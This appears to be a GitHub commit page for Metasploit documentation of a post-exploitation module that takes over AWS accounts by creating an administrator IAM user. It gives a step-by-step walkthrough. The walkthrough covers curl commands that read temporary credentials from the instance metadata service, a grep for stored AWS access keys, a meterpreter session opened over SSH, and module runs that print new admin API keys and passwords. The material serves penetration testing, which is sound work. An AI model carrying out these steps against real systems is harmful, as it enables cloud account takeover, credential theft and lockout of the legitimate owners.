Skip to content

Commit 4614b70

Browse files
committed
Land rapid7#7604, @godinezj's post module for creating AWS IAM accounts
2 parents ba9ce3f + aa29fca commit 4614b70

File tree

4 files changed

+720
-0
lines changed

4 files changed

+720
-0
lines changed
Lines changed: 233 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,233 @@
1+
# aws_create_iam_user
2+
3+
aws_create_iam_user is a simple post module that can be used to take over AWS
4+
accounts. Sure, it is fun enough to take over a single host, but you can own all
5+
hosts in the account if you simply create an admin user.
6+
7+
# Background
8+
9+
## Instance Profiles
10+
11+
An Instance Profile is an AWS construct that maps a role to a host (instance).
12+
Not all hosts have instance profiles and/or may have restricted privileges.
13+
AWS roles are composed of policies which specify API calls that the host is
14+
allowed to make.
15+
16+
## Privileges
17+
18+
This module depends on administrators being lazy and not using the least
19+
privileges possible. We often see instances assigned `*.*` roles that allow
20+
any user on the instance to make any API call including creating admin users.
21+
When this occours, a user with long lived credentials can be created and calls
22+
against the AWS API can be made from anywhere on the Internet. Once an account
23+
is taken over in this manner instances can be spun up, other users can be locked
24+
out, networks can be traversed, and many other dangeous things can happen.
25+
26+
Only on rare cases should hosts have the following privileges, these should be
27+
restriced.
28+
29+
* iam:CreateUser
30+
* iam:CreateGroup
31+
* iam:PutGroupPolicy
32+
* iam:AddUserToGroup
33+
* iam:CreateAccessKey
34+
35+
This module will attempt all API calls listed above in sequence. Account takeover
36+
may succeed even if intermediate API calls fail. E.g., we may not be able to
37+
create a new user, but we may be able to create access keys for an existing user.
38+
39+
## Metadata Service
40+
41+
The metadata service is a mechanism the AWS hypervisor employs to pass
42+
information down into hosts. Any AWS host can retrieve information about itself
43+
and its environemtn by curling http://169.254.169.254/. This mechanism is also
44+
used to pass temporary credentials to a host. This module pulls these temporary
45+
credentials and attempts to create a user with admin privileges.
46+
47+
To manually check that a host has an instance profile you can simply curl the
48+
metadata service like so:
49+
50+
```
51+
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
52+
SOME_ROLE_NAME
53+
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/SOME_ROLE_NAME
54+
{
55+
"Code" : "Success",
56+
"LastUpdated" : "2016-12-07T18:36:48Z",
57+
"Type" : "AWS-HMAC",
58+
"AccessKeyId" : "ASIA
59+
...
60+
```
61+
62+
# Usage
63+
64+
aws_create_iam_user can be used to take over an AWS account given access to
65+
a host having 1). overly permissive instance profile/role, 2). API Access keys.
66+
Once a foothold is established, you can run the module to pull temporary
67+
access keys from the metadata service. If this fails, search the instance for
68+
API access keys, e.g., see ~/.aws/credentials, and set `AccessKeyId`,
69+
`SecretAccessKey`, & `Token` (optional).
70+
71+
## Establish a foothold
72+
73+
You first need a foothold in AWS, e.g., here we use `sshexec` to get the
74+
foothold and launch a meterpreter session.
75+
76+
```
77+
$ ./msfconsole
78+
...
79+
msf > use exploit/multi/ssh/sshexec
80+
msf exploit(sshexec) > set password some_user
81+
password => some_user
82+
msf exploit(sshexec) > set username some_user
83+
username => some_user
84+
msf exploit(sshexec) > set RHOST 192.168.1.2
85+
RHOST => 192.168.1.2
86+
msf exploit(sshexec) > set payload linux/x86/meterpreter/bind_tcp
87+
payload => linux/x86/meterpreter/bind_tcp
88+
msf exploit(sshexec) > exploit -j
89+
[*] Exploit running as background job.
90+
91+
[*] Started bind handler
92+
msf exploit(sshexec) > [*] 192.168.1.2:22 - Sending stager...
93+
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
94+
[*] Command Stager progress - 42.09% done (306/727 bytes)
95+
[*] Command Stager progress - 100.00% done (727/727 bytes)
96+
[*] Sending stage (1495599 bytes) to 192.168.1.2
97+
[*] Meterpreter session 1 opened (192.168.1.1:33750 -> 192.168.1.2:4444) at 2016-11-21 17:58:42 +0000
98+
```
99+
100+
We will be using session 1.
101+
102+
```
103+
msf exploit(sshexec) > sessions
104+
105+
Active sessions
106+
===============
107+
108+
Id Type Information Connection
109+
-- ---- ----------- ----------
110+
1 meterpreter x86/linux uid=50011, gid=50011, euid=50011, egid=50011, suid=50011, sgid=50011 @ ip-19-... 192.168.1.1:41634 -> 192.168.1.2:4444 (192.168.1.2)
111+
112+
```
113+
114+
## Options
115+
116+
In the event that the session'd AWS instance does not have an IAM role assigned
117+
to it with sufficient privileges, the following options can be used to provide
118+
specific authentication material:
119+
120+
* `AccessKeyId`: set this if you find access keys on the host and instance has no profile/privileges
121+
* `SecretAccessKey`: set this if you find access keys on the host and instance has no profile/privileges
122+
* `Token`: set this if you find access keys on the host and instance has no profile/privileges. This is optional as this signifies temporary keys, if you find these, these are most likely expired.
123+
124+
The following options control the account that is being created:
125+
126+
* `IAM_USERNAME`: set this if you would like to control the username for to user to be created
127+
* `CREATE_API`: when true, creates API keys for this user
128+
* `CREATE_CONSOLE`: when true, creates a password for this user so that they can access the AWS console
129+
130+
131+
## Abusing an Overly Permissive Instance Profile
132+
133+
Here we are assuming that we have taken over a host having an instance profile with
134+
overly permissive access. Once a session is established, we can load
135+
`aws_create_iam_user` and specify a meterpreter sesssion,
136+
e.g., `SESSION 1` and run the exploit.
137+
138+
```
139+
msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user
140+
msf post(aws_create_iam_user) > set SESSION 1
141+
SESSION => 1
142+
msf post(aws_create_iam_user) > exploit
143+
144+
[*] 169.254.169.254 - looking for creds...
145+
[*] Creating user: gavgpsjXwj5HIxiz
146+
[*] Creating group: gavgpsjXwj5HIxiz
147+
[*] Creating group policy: gavgpsjXwj5HIxiz
148+
[*] Adding user (gavgpsjXwj5HIxiz) to group: gavgpsjXwj5HIxiz
149+
[*] Creating API Keys for gavgpsjXwj5HIxiz
150+
[*] Creating password for gavgpsjXwj5HIxiz
151+
AWS Account Information
152+
=======================
153+
154+
UserName GroupName SecretAccessKey AccessKeyId Password AccountId
155+
-------- --------- --------------- ----------- -------- ---------
156+
gavgpsjXwj5HIxiz gavgpsjXwj5HIxiz oX4csvu3Wun+GqVDzBHQ3FNfv41UhC4ibkLAmaW2 AKIAJRZQ2ENY45KKRBHQ gavgpsjXwj5HIxiz xxxxx
157+
158+
[+] AWS CLI/SDK etc can be accessed by configuring with the above listed values
159+
[+] AWS console URL https://xxxxx.signin.aws.amazon.com/console may be used to access this account
160+
[+] AWS loot stored at: /Users/yyyy/.msf4/loot/20161208140720_default_172.30.0.116_AWScredentials_099259.txt
161+
```
162+
163+
If the host does not have an instance profile or the right access, the output will look like so:
164+
165+
```
166+
[*] 169.254.169.254 - looking for creds...
167+
[*] Creating user: 3SFFML3ucP1AyP7J
168+
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::abcd:user/3SFFML3ucP1AyP7J
169+
[*] Creating group: 3SFFML3ucP1AyP7J
170+
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateGroup on resource: arn:aws:iam::abcd:group/3SFFML3ucP1AyP7J
171+
[*] Creating group policy: 3SFFML3ucP1AyP7J
172+
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:PutGroupPolicy on resource: group 3SFFML3ucP1AyP7J
173+
[*] Adding user (3SFFML3ucP1AyP7J) to group: 3SFFML3ucP1AyP7J
174+
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:AddUserToGroup on resource: group 3SFFML3ucP1AyP7J
175+
[*] Creating API Keys for 3SFFML3ucP1AyP7J
176+
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateAccessKey on resource: user 3SFFML3ucP1AyP7J
177+
[*] Post module execution completed
178+
```
179+
180+
## Abusing API Access Keys
181+
182+
In the case that the host we have taken over has no instance profile or does not
183+
have the required privileges, we can search the host for access keys with
184+
something like `grep -r AKIA /`. These keys may have admin privileges at which
185+
point you own the account, if not we may be able to escalate privileges.
186+
We can set `AccessKeyId`, `SecretAccessKey`, & `Token` (optional) and rerun
187+
the exploit to test this possibility.
188+
189+
```
190+
msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user
191+
msf post(aws_create_iam_user) > set AccessKeyId AKIAAKIAAKIAAKIAAKIA
192+
AccessKeyId => AKIAAKIAAKIAAKIAAKIA
193+
msf post(aws_create_iam_user) > set SecretAccessKey jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah
194+
SecretAccessKey => jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah
195+
msf post(aws_create_iam_user) > set SESSION 1
196+
SESSION => 1
197+
msf post(aws_create_iam_user) > run
198+
msf post(aws_create_iam_user) > run
199+
200+
[*] 169.254.169.254 - looking for creds...
201+
[*] Creating user: bZWsmzyupDWxe8CT
202+
[*] Creating group: bZWsmzyupDWxe8CT
203+
[*] Creating group policy: bZWsmzyupDWxe8CT
204+
[*] Adding user (bZWsmzyupDWxe8CT) to group: bZWsmzyupDWxe8CT
205+
[*] Creating API Keys for bZWsmzyupDWxe8CT
206+
[*] Creating password for bZWsmzyupDWxe8CT
207+
AWS Account Information
208+
=======================
209+
210+
UserName GroupName SecretAccessKey AccessKeyId Password AccountId
211+
-------- --------- --------------- ----------- -------- ---------
212+
bZWsmzyupDWxe8CT bZWsmzyupDWxe8CT 74FXOTagsYCzxz0pjPOmnsASewj4Dq/JzH3Q24qj AKIAJ6IVXYRUQAXU625A bZWsmzyupDWxe8CT xxxxx
213+
214+
[+] AWS CLI/SDK etc can be accessed by configuring with the above listed values
215+
[+] AWS console URL https://xxxxx.signin.aws.amazon.com/console may be used to access this account
216+
[+] AWS loot stored at: /Users/yyyy/.msf4/loot/20161208141050_default_172.30.0.116_AWScredentials_636339.txt
217+
[*] Post module execution completed
218+
```
219+
220+
## Next Steps
221+
222+
Information necessary to use the created account is printed to the screen and stored in loot:
223+
224+
```
225+
{
226+
"UserName": "As56ekIV59OgoFOj",
227+
"GroupName": "As56ekIV59OgoFOj",
228+
"SecretAccessKey": "/DcYUf9veCFQF3Qcoi1eyVzptMkVTeBm5scQ9bdD",
229+
"AccessKeyId": "AKIAIVNMYXYBXYE7VCHQ",
230+
"Password": "As56ekIV59OgoFOj",
231+
"AccountId": "xxx"
232+
}
233+
```

0 commit comments

Comments
 (0)